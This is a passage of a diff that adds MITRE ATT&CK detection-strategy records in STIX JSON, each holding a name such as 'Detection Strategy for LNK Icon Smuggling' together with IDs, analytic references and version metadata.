"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0189", + "external_id": "DET0189" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2c94147a-a556-4fa1-92f8-d3c4367f6f2e", + "x-mitre-analytic--66bab948-9baa-4f5c-b259-333eb2ac08ad", + "x-mitre-analytic--3ef92295-ecbf-417a-b72a-f6cd189ca3a1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f54b8799-acfd-4df4-a2c4-e83071750bde", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0568", + "external_id": "DET0568" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Input Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0f05915c-e146-4921-840b-1a08774ca4d2", + "x-mitre-analytic--b61673d6-244f-4888-9370-1a3ef391a6c2", + "x-mitre-analytic--4b47697b-ff9b-4af7-a079-d34210cebdab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--206790b2-16bc-46db-a605-8bcff576c161", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0322", + "external_id": "DET0322" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Junk Code Obfuscation with Suspicious Execution Patterns", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2ae1dd34-c666-488f-8ad6-752b8a6acae1", + "x-mitre-analytic--f606ec01-15d2-4432-b91b-669411205015", + "x-mitre-analytic--fcc2b0dc-93c4-49de-abfe-6273c24d1d89" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--df1da8e4-cabf-42f0-8f5f-2fa8086b1423", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0450", + "external_id": "DET0450" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Kernel Modules and Extensions Autostart Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c221d379-1dcb-4ca7-908e-59f6ed7afaed", + "x-mitre-analytic--092689c7-be8a-4d11-99d8-7dd96afa938d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4f95fef5-3b5e-435a-ad00-33d2d9765640", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0216", + "external_id": "DET0216" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for LC_LOAD_DYLIB Modification in Mach-O Binaries on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7aaf568b-bc31-4fb0-8543-12ee281a0b85" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ae3cb4bc-da0a-4e5b-b4ad-96617eccefaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0405", + "external_id": "DET0405" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for LNK Icon Smuggling", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--11dd0dbf-e880-43d2-99f7-4b6bf9d821fa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--156ddd81-b3ae-4a79-8c4e-7a75b6fd994c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0183", + "external_id": "DET0183" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Lateral Tool Transfer across OS platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ce0f284b-f8d9-4cb0-84ad-97e1e8390d0c", + "x-mitre-analytic--24af9441-602e-4202-a2e7-04a46c008406", + "x-mitre-analytic--34d6af16-fe37-458c-b15c-413ff2d5b2f7", + "x-mitre-analytic--f8857048-181f-4883-a50b-65aca5204228" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dcbcea6d-e822-4fe3-b9df-86d4d9cd5667", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0401", + "external_id": "DET0401" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Launch Daemon Creation or Modification (macOS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4bb5b68e-1a01-498e-ae39-94f951e01cd9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--175b97d9-287e-4ab6-ae95-8652c224f02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0331", + "external_id": "DET0331" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for ListPlanting Injection on Windows", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--217128c5-144d-492b-ab72-bd0704348221" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--170a958d-79a6-433a-8ab0-c8d654e2ca86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0255", + "external_id": "DET0255" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Log Enumeration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--13810047-61f4-4cd0-aeda-6727d652da90", + "x-mitre-analytic--ee468e26-d179-47ba-af8b-43118db24939", + "x-mitre-analytic--8f998965-ad70-4ec6-8bc1-85831edc0497", + "x-mitre-analytic--42bae633-1033-40da-bf3a-87bcd1b0297f", + "x-mitre-analytic--f5b9ad98-3a10-4ff3-9e25-890488253bef" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6aa65bd1-4c0c-4bf7-ba74-ba0d8edd9cb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0244", + "external_id": "DET0244" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Login Hook Persistence on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7a424183-94ca-4dc1-a03b-610d174aa973" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--be7a4dda-a46a-4245-8837-e69946a79d3f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0101", + "external_id": "DET0101" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Lua Scripting Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b3ea7945-a7ef-421c-be84-af86b2b95ae5", + "x-mitre-analytic--f8e77c9a-2b8c-47d2-b44a-23857d246016", + "x-mitre-analytic--4b53b71f-16b4-483b-b64a-eacf6c9db077", + "x-mitre-analytic--755fb4b5-903f-4694-b591-04078afa27aa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6df13a5a-7d2b-4c9d-8c6e-d57ca850fe15", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0246", + "external_id": "DET0246" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for MFA Interception via Input Capture and Smart Card Proxying", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8180320e-ab62-44e5-afae-eba6ba23d769", + "x-mitre-analytic--1a13d795-7c26-44b6-ad1b-2ad732dc33c3", + "x-mitre-analytic--7d5eb9bd-5e53-4cf8-b86d-7136bbf8f673" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f1f9b6fc-a261-4bcf-a0c0-3ae42cdc28fc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0383", + "external_id": "DET0383" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Masquerading via Account Name Similarity", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8c3a43bc-dd07-4e72-a987-a2dc36e162fa", + "x-mitre-analytic--5f584d00-63b5-44c5-b629-ff238f5b9931", + "x-mitre-analytic--0252a0ff-a4fb-4196-9b43-d759af950d55", + "x-mitre-analytic--fb767270-25ad-4fea-a8e7-8f9c57ac1fa8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--eccdd5b4-e19e-4254-909e-4a9c2e3ac27e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0443", + "external_id": "DET0443" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Masquerading via Breaking Process Trees", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d4a29d94-bce4-4069-a0b5-9e0e731cff97", + "x-mitre-analytic--269ab5e4-4c45-4f7a-8d82-c235492ff83a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e2d84c66-3647-4aab-962b-c1ad89455a18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0226", + "external_id": "DET0226" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Masquerading via File Type Modification", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--557e1f6e-5eeb-46ea-bcd2-5d858eea314c", + "x-mitre-analytic--e9ba7101-369f-48c6-8e6d-075ddd5744ba", + "x-mitre-analytic--2bce7f8d-90c1-4835-9ce9-832e5e3a37d6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b667390b-a805-401d-9e02-929204825114", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347", + "external_id": "DET0347" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Masquerading via Legitimate Resource Name or Location", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--61256fb2-d490-4e1d-b308-665a2d68ec64", + "x-mitre-analytic--adf3e421-95ec-4b5a-9c00-0262cb888c0a", + "x-mitre-analytic--466a2102-fcb3-4372-9a8d-ad8fe34e94ec", + "x-mitre-analytic--c9bdc7a6-ff19-46e9-a534-fa2fd3e0a193", + "x-mitre-analytic--d16be21c-6df4-4648-91cd-36152dafa38d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--af0d25b2-1912-4821-85db-305abe318535", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0308", + "external_id": "DET0308" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c9be9fb3-460f-42bc-9b56-3bb88839aeab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bd0b0c98-3c22-4bf8-830b-2640b39eacea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0449", + "external_id": "DET0449" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure: Create Cloud Instance", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b8ec766b-cfb9-4ef8-bd46-655f0b820ad3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--160f132d-626e-412a-ae16-df265670c196", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0423", + "external_id": "DET0423" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--05af7b9b-ec1a-4d6c-a944-64a7ad0eb2f5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ceac3cb0-d9eb-4466-810f-4acbf793e980", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0084", + "external_id": "DET0084" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure: Delete Cloud Instance", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--602def5b-49e4-4c64-afe6-1476eac13e67" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d4586276-d188-44e7-a782-dded12dd352e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0492", + "external_id": "DET0492" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--193f0293-0a53-430f-83c0-a69d0663479a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f5ee584b-bbbd-481a-af63-c49166b8b1a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0337", + "external_id": "DET0337" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Compute Infrastructure: Revert Cloud Instance", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4eaeffc2-bdfa-427c-a009-daadee39457d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fdcd77fc-d6da-4692-a978-461a7f7dba61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0155", + "external_id": "DET0155" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify Cloud Resource Hierarchy", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e246212e-aca3-489d-a2d9-7e24f7c3516c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--536eed5d-a4b6-4377-a936-90283bb1b25c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0170", + "external_id": "DET0170" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Modify System Image on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--868abb22-3d6c-4172-bf38-9e3c1aba4dae" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--5dab1bc7-89e2-4fe4-ae30-40b550d0daf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0160", + "external_id": "DET0160" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Multi-Factor Authentication Request Generation (T1621)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f51edea3-e0e8-4090-8e81-a01c3394ba53", + "x-mitre-analytic--824db63f-2a2c-4e3e-8e7d-49110cc63173", + "x-mitre-analytic--2c0df764-d9bd-4a91-808a-aa13df13511a", + "x-mitre-analytic--e36b2d32-05a8-4bcf-b7cf-58dc3ad4c0d3", + "x-mitre-analytic--e96b0210-f7d5-43ac-bf73-893f243f6015", + "x-mitre-analytic--801a3652-8772-4b69-8a13-d870be653ef0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--08f7fa2b-13f3-4348-83b8-023c2a68493f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 